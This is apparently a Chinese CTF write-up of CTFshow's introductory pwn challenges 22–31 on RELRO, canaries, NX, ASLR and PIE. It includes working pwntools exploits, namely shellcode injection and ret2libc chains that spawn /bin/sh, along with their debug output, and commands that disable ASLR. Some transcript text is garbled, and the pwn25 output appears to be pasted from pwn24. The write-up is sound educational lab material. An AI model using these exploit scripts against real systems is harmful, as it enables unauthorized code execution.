OFFSET           TYPE              VALUE
0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  strtol@GLIBC_2.2.5

可以看到两种符号的OFFSET不在一页（大小为0x1000字节）上，权限就有可能不同

$ readelf -S pwn
There are 29 section headers, starting at offset 0x1950:

  [21] .got              PROGBITS         0000000000600ff0  00000ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8

这样看是不是它两还是都可写呢？但是仔细去看程序头就会发现不同：

$ readelf -L pwn
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R      0x8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x0000000000000d68 0x0000000000000d68  R E    0x200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000230 0x0000000000000238  RW     0x200000
  DYNAMIC        0x0000000000000e20 0x0000000000600e20 0x0000000000600e20
                 0x00000000000001d0 0x00000000000001d0  RW     0x8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x0000000000000c2c 0x0000000000400c2c 0x0000000000400c2c
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn.rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .dynamic .got .got.plt .data .bss  #该段具有 RW（可读可写）权限
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .dynamic .got  #包含 .got，但不包含 .got.plt   这表明：GOT 的前半部分（.got） 在程序加载后可能被标记为只读（由 GNU_RELRO 控制），防止被篡改。GOT.PLT（.got.plt） 通常仍保持可写，用于动态解析函数地址。

可以看到程序头多了GNU_RELRO，将.dynamic 、.got标记为只读权限（R），那么在重定向完成后，动态链接器就会将这个区域保护起来。

在写.got表的时候就会抛出异常，而写.got.plt依旧正常

pwn22

Hint：提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}
例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
最终flag为ctfshow{1_1_0x400820_0x8208820}
若某个表不存在，则无需写其对应地址
如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

$ ./pwn 0x600fc0
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : What is RELRO protection ?
    * *************************************
Segmentation fault (core dumped)

在写.got表的时候就会抛出异常，而.got.plt不存在

故flag:ctfshow{0_0_0x600fc0}

分析过程：

checksec查看保护

$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x400000)
  Stripped:   No

64位现在完全开启了RELRO保护

$ readelf -S pwn
There are 28 section headers, starting at offset 0x1900:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000090  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400348  00000348
       000000000000004b  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400394  00000394
       000000000000000c  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003f0  000003f0
       0000000000000048  0000000000000018  AI       5    21     8
  [11] .init             PROGBITS         0000000000400438  00000438
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400450  00000450
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400490  00000490
       0000000000000252  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006e4  000006e4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006f0  000006f0
       000000000000053a  0000000000000000   A       0     0     8
  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68
       0000000000000100  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600dc0  00000dc0
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600dc8  00000dc8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600dd0  00000dd0
       00000000000001f0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600fc0  00000fc0
       0000000000000040  0000000000000008  WA       0     0     8
  [22] .data             PROGBITS         0000000000601000  00001000
       0000000000000010  0000000000000000  WA       0     0     8
  [23] .bss              NOBITS           0000000000601010  00001010
       0000000000000008  0000000000000000  WA       0     0     1
  [24] .comment          PROGBITS         0000000000000000  00001010
       0000000000000029  0000000000000001  MS       0     0     1
  [25] .symtab           SYMTAB           0000000000000000  00001040
       00000000000005d0  0000000000000018          26    42     8
  [26] .strtab           STRTAB           0000000000000000  00001610
       00000000000001f1  0000000000000000           0     0     1
  [27] .shstrtab         STRTAB           0000000000000000  00001801
       00000000000000fa  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

可以看到已经没有了.got.plt,而且.got也是不可写的

pwn23

Hint：用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接
     ssh ctfshow@题目地址 -p题目端口号
     不是nc连接

$ ssh ctfshow@题目地址 -p题目端口号
The authenticity of host 'lpwn,challenge.ctf,show]:28198 ([124.223.158.81]:28198)'can't be established.
ECDSA key fingerprint is SHA256:PC6yCxGdKk51w8EXuEj0+Id4t/qL5AN1o0bgwj20yw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[pwn,challenge,ctf.show]:28198,[124.223,158.81]:28198’(EcDsA) to the list of known hosts.
ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接
$ ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
* ************************************* 
* Classify: CTFshow --- PWN --- 入门
* Type  : Linux_Security_Mechanisms     
* Site  : https://ctf.show/    
* Hint  : No canary found     
* ************************************* 
How to input ?
ctfshow{...}

分析过程：

checksec查看保护

$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位开启NX保护，部分开启RELRO保护

IDA查看main函数：

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  ...
  puts("How to input ?");
  if ( argc > 1 )
    ctfshow((char *)argv[1]);
  return 0;
char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

首先，程序尝试打开名为”/ctfshow_flag”的文件，并将文件指针赋值给 stream 变量。如果打开文件失败（文件不存在或无法访问），程序输出错误消息并终止。
如果成功打开文件，程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。
程序输出提示消息：”How to input ?”。
如果程序运行时传入了命令行参数（ argc 大于1），则调用 ctfshow 函数，并将第一个命令行参数作为参数传递给该函数。
ctfshow 函数很简单，它接受一个字符串参数 src ，并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后，它返回指向 dest 缓冲区的指针。

这里仅仅是为了演示当未开启Canary保护时，输入字符串长度超过了 dest 缓冲区的大小，这可能导致缓冲区溢出漏洞。

详细原理在后续会再进行详细讲解。

pwn24

Hint：你可以使用pwntools的shellcraft模块来进行攻击

from pwn import *
context.log_level = 'debug'
io=process('./pwn')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : NX disabled & Has RWX segments
    * *************************************
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀
\xe7k\xe8F
$ cat /ctfshow_flag
[DEBUG] Sent 0x12 bytes:
    'cat ctfshow_flag\n'
[DEBUG] Received 0x2e bytes:
    'ctfshow{...}\n'
ctfshow{...}

分析过程：

checksec查看保护

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments

32位仅部分开启RELRO保护

可以看到存在一个RWX权限的段，即可读可写可执行的段

直接IDA查看main函数发现有一个ctfshow函数，但是无法跟进

那么就直接看汇编了：

.text:080484C6                 public ctfshow
.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf             = byte ptr -88h
.text:080484C6 var_4           = dword ptr -4
.text:080484C6 p_argc          = dword ptr  8
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6                 push    ebp
.text:080484C7                 mov     ebp, esp
.text:080484C9                 push    ebx
.text:080484CA                 sub     esp, 84h
.text:080484D0                 call    __x86_get_pc_thunk_bx
.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB                 sub     esp, 4
.text:080484DE                 push    100h            ; nbytes
.text:080484E3                 lea     eax, [ebp+buf]
.text:080484E9                 push    eax             ; buf
.text:080484EA                 push    0               ; fd
.text:080484EC                 call    _read
.text:080484F1                 add     esp, 10h
.text:080484F4                 sub     esp, 0Ch
.text:080484F7                 lea     eax, [ebp+buf]
.text:080484FD                 push    eax             ; s
.text:080484FE                 call    _puts
.text:08048503                 add     esp, 10h
.text:08048506                 lea     eax, [ebp+buf]
.text:0804850C                 call    eax
.text:0804850E                 nop
.text:0804850F                 mov     ebx, [ebp+var_4]
.text:08048512                 leave
.text:08048513                 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow         endp

函数开始时进行一些栈操作，保存寄存器的值。
调用 __x86_get_pc_thunk_bx 函数，获取当前的指令位置并存储在 ebx 寄存器中。
分配 0x84 字节的空间用于缓冲区，存储用户输入的数据。
调用 read 函数，从标准输入读取数据，并存储到缓冲区。
调用 puts 函数，将缓冲区的内容打印到标准输出。
通过调用 call eax 指令，以 eax 寄存器的值作为函数指针，跳转到缓冲区中存储的地址执

行。

之后是一些清理工作和函数返回的准备操作。

可能这里看得还是云里雾里，后面慢慢会逐步清晰起来。但实际上这题题目提示了可以使用pwntools的shellcraft模块进行攻击

shellcraft 模块是 pwntools 库中的一个子模块，用于生成各种不同体系结构的 Shellcode。

Shellcode 是一段以二进制形式编写的代码，用于利用软件漏洞、执行特定操作或获取系统权限。

shellcraft 模块提供了一系列函数和方法，用于生成特定体系结构下的 Shellcode。

那么我们可以直接尝试编写exp进行攻击

from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn') # 本地连接
io = remote("ip", 端口) # 远程连接
shellcode = asm(shellcraft.sh()) # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标主机
io.interactive() # 与目标主机进行交互

pwn25

Hint：开启NX保护，或许可以试试ret2libc

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote("pwn.challenge.ctf.show", 28177)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x88+0x4) + p32(write_plt) + p32(main) + p32(0) +p32(write_got) + p32(4)
io.sendline(payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x88+0x4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()

    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : NX disabled & Has RWX segments
    * *************************************
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀
\xe7k\xe8F
$ cat /ctfshow_flag
[DEBUG] Sent 0x12 bytes:
    'cat ctfshow_flag\n'
[DEBUG] Received 0x2e bytes:
    'ctfshow{...}\n'
ctfshow{...}

分析过程：

checksec查看保护

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启NX保护，部分开启RELRO保护

具体攻击手法为：ret2libc

（即先找到栈溢出漏洞，通过write函数泄露 write 函数的真实地址，根据泄露的 write 函数地址，使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址，获取 system 函数和”/bin/sh” 字符串的地址。构造新的 payload，使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell）

这里的内容为后续栈部分讲解内容，目前WP在前面不做详细讲解，目的仅为了演示在开启某些保护可以使用哪些攻击手法

pwn26

Hint：设置好 ALSR 保护参数值即可获得flag
为确保flag正确，本题建议用提供虚拟机运行

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : Please confirm your ASLR level first !
    * *************************************
Here is your ASLR level:
2
If the result is 0, then you get the correct flag!
If not,you will get a fake flag!
flag is :ctfshow{0x400687_0x400560_0xc45b2a0_0x76042988a6b0}
$ cat /proc/sys/kernel/randomize_va_space
2
rhea@rhea-VMware-Virtual-Platform:~$ sudo docker run -it --privileged --rm pwnenv_ubuntu24 /bin/bash
root@5c9e7214e2da:/# echo 0 > /proc/sys/kernel/randomize_va_space
root@5c9e7214e2da:/# cat /proc/sys/kernel/randomize_va_space
0
$ ./pwn
Here is your ASLR level:
0
If the result is 0, then you get the correct flag!
If not,you will get a fake flag!
flag is :ctfshow{0x400687_0x400560_0x6032a0_0x7ffff7fbd6b0}

所以应该先执行echo 0 > /proc/sys/kernel/randomize_va_space[不行的话 sudo sh -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’重定向]

再运行程序即可得到正确的flag

flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

分析过程：

ASLR（Address Space Layout Randomization）是一种操作系统级别的安全保护机制，旨在增加软件系统的安全性。它通过随机化程序在内存中的布局，使得攻击者难以准确地确定关键代码和数据的位置，从而增加了利用软件漏洞进行攻击的难度。

开启不同等级会有不同的效果：

内存布局随机化： ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中，不同的库和模块通常会在固定的内存位置上加载，攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址，使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。
地址空间范围的随机化： ASLR还会随机化进程的地址空间范围。在传统的地址空间中，栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小，从而使得这些重要的内存区域在每次运行时都有不同的位置。
随机偏移量： ASLR会引入随机偏移量，将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的，而不是绝对地址。攻击者需要在运行时发现这些偏移量，才能准确地定位和利用漏洞。
堆和栈随机化： ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址，使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置，使得攻击者无法轻易地覆盖返回地址或控制程序流程。

在Linux中，ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况：

0表示关闭ALSR

1表示部分开启（将mmap的基址、stack和vdso页面随机化）

2表示完全开启

ALSR	Executable	PLT	Heap	Stack	Shared libraies
0	×	×	×	×	×
1	×	×	×	√	√
2	×	×	√	√	√
2+PIE	√	√	√	√	√

pwn27

Hint：设置好 ALSR 保护参数值即可获得flag

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : Please confirm your ASLR level first !
    * *************************************
Here is your ASLR level:
0
If the result is 0 or 1, then you get the correct flag!
If not,you will get a fake flag!
flag is :ctfshow{0x400687_0x400560_0x6032a0}

故flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

分析过程：

同理pwn26

pwn28

Hint：设置好 ALSR 保护参数值即可获得flag

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : Please confirm your ASLR level first !
    * *************************************
Here is your ASLR level:
0
flag is :ctfshow{0x400687_0x400560}
...
Here is your ASLR level:
1
flag is :ctfshow{0x400687_0x400560}
...
Here is your ASLR level:
2
flag is :ctfshow{0x400687_0x400560}

此时不管等级为0 1 2 ，函数本身地址不会变化（在未开启PIE的情况下）

故flag:ctfshow{0x400687_0x400560}

分析过程：

同理pwn26

pwn29

Hint：ASLR和PIE开启后

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : Please confirm your ASLR level first !
    * *************************************
sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Read-only file system
Here is your ASLR level:
0
Let's take a look at protection:
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
executable: 0x55555540083a
system@plt: 0x7ffff7df3750
heap: 0x5555556032a0
stack: 0x7fffffffe3d4
As you can see, the protection has been fully turned on and the address has been completely randomized!
Here is your flag:
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

故flag：ctfshow{Address_Space_Layout_Randomization&&Position Independent_Executable_1s_C0000000000l!}

分析过程：

ASLR和PIE开启后，地址都会将随机化，这里值得注意的是，由于粒度问题，虽然地址都被随机化了，但是被随机化的都仅仅是某个对象的起始地址，而在其内部还是原来的结构，也就是相对偏移是不会变化的。

pwn30

Hint：关闭PIE后,程序的基地址固定，攻击者可以更容易地确定内存中函数和变量的位置。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show', 28145)
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
ctfshow = elf.sym['ctfshow']
payload = b"A" * 140 +p32(elf.sym['write']) + p32(ctfshow) + p32(1) + p32(elf.got['write']) + p32(4)
io.send(payload)
write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))
payload2 = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload2)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn' argv=[b'./pwn'] : pid 756
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[DEBUG] Sent 0xa0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  b0 83 04 08  │AAAA│AAAA│AAAA│····│
    00000090  f6 84 04 08  01 00 00 00  18 a0 04 08  04 00 00 00  │····│····│····│····│
    000000a0
[DEBUG] Received 0x4 bytes:
    00000000  80 1b e9 f7                                         │····│
    00000004
/CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))
[DEBUG] Sent 0x98 bytes:
    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    00000080  42 42 42 42  42 42 42 42  42 42 42 42  30 a4 dc f7  │BBBB│BBBB│BBBB│0···│
    00000090  f6 84 04 08  e8 ed f3 f7                            │····│····│
    00000098
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xb bytes:
    b'exp.py\tpwn\n'
exp.pypwn

分析过程：

checksec检查保护

$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位程序开启NX，部分开启RELRO保护

IDA查看跟进ctfshow函数：

ssize_t __cdecl ctfshow()
{
  _BYTE buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

可以看到这里存在明显的溢出点

buf ，用于存储从标准输入读取的数据。该变量在栈上分配，相对于函数栈帧指针 ebp 的偏移为-0x88 .调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符，这里使用 0 表示标准入。第二个参数是指向存储数据的缓冲区的指针，这里是 &buf 。第三个参数是要读取的最大字节数，这里是0x100u ，即 256 字节。

程序中无system也没有“/bin/sh”字符串，也可以使用ret2libc的方法进行get shell 后面到该部分会进行详细讲解，同样在这里仅仅是为了演示在关闭Canary和PIE保护，开启NX保护时的一种攻击手法。

$ chmod +x pwn
$ gdb ./pwn
pwndbg> r
^c
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
*EIP  0x6261616b ('kaab')
pwndbg> cyclic -l kaab
Finding cyclic pattern of 4 bytes: b'kaab' (hex: 0x6b616162)
Found at offset 140

pwn31

Hint：开启 ALSR 和 PIE 的情况下，仍可能被利用

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('127.0.0.1',10000)
#io = remote("pwn.challenge.ctf.show",28161)
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
main = int(io.recvline(),16)
#print hex(main)
base = main - elf.sym['main']
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x1fc0
payload = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)
write = u32(io.recv())
libc_base = write - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload)
io.interactive()

   $ python3 exp.py
[+] Starting local process './pwn' argv=[b'./pwn'] : pid 781
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[DEBUG] Received 0xb bytes:
    b'0x56555652\n'
[DEBUG] Sent 0xa0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  c0 6f 55 56  41 41 41 41  b0 54 55 56  │AAAA│·oUV│AAAA│·TUV│
    00000090  1d 56 55 56  01 00 00 00  dc 6f 55 56  04 00 00 00  │·VUV│····│·oUV│····│
    000000a0
[DEBUG] Received 0x4 bytes:
    00000000  80 1b e9 f7                                         │····│
    00000004
/CTFshow_pwn/exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  binsh_addr = libc_base + next(libc.search('/bin/sh'))
[DEBUG] Sent 0x98 bytes:
    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    00000080  42 42 42 42  42 42 42 42  42 42 42 42  30 a4 dc f7  │BBBB│BBBB│BBBB│0···│
    00000090  1d 56 55 56  e8 ed f3 f7                            │·VUV│····│
    00000098
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xb bytes:
    b'exp.py\tpwn\n'
exp.pypwn

分析过程：

checksec查看保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        PIE enabled
  Stripped:   No

32位程序仅关闭Canary保护

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  printf("%p\n", main);
  ctfshow(&argc);
  puts(asc_854);
  puts(asc_8C8);
  puts(asc_944);
  puts(asc_9D0);
  puts(asc_A60);
  puts(asc_AE4);
  puts(asc_B78);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Bypass ALSR & PIE ");
  puts("    * *************************************                           ");
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

可以看到程序先打印出main函数的地址，然后跟进ctfshow函数：

ssize_t __cdecl ctfshow()
{
  _BYTE buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

同样的，这里还是有溢出，但是开启了保护不同了，使用上一题的exp肯定是打不了了

既然程序已经给我们main函数的地址了，那么我们就可以通过计算偏移得到程序本身的加载地址

这也就是与上一题不同的地方

pwn32

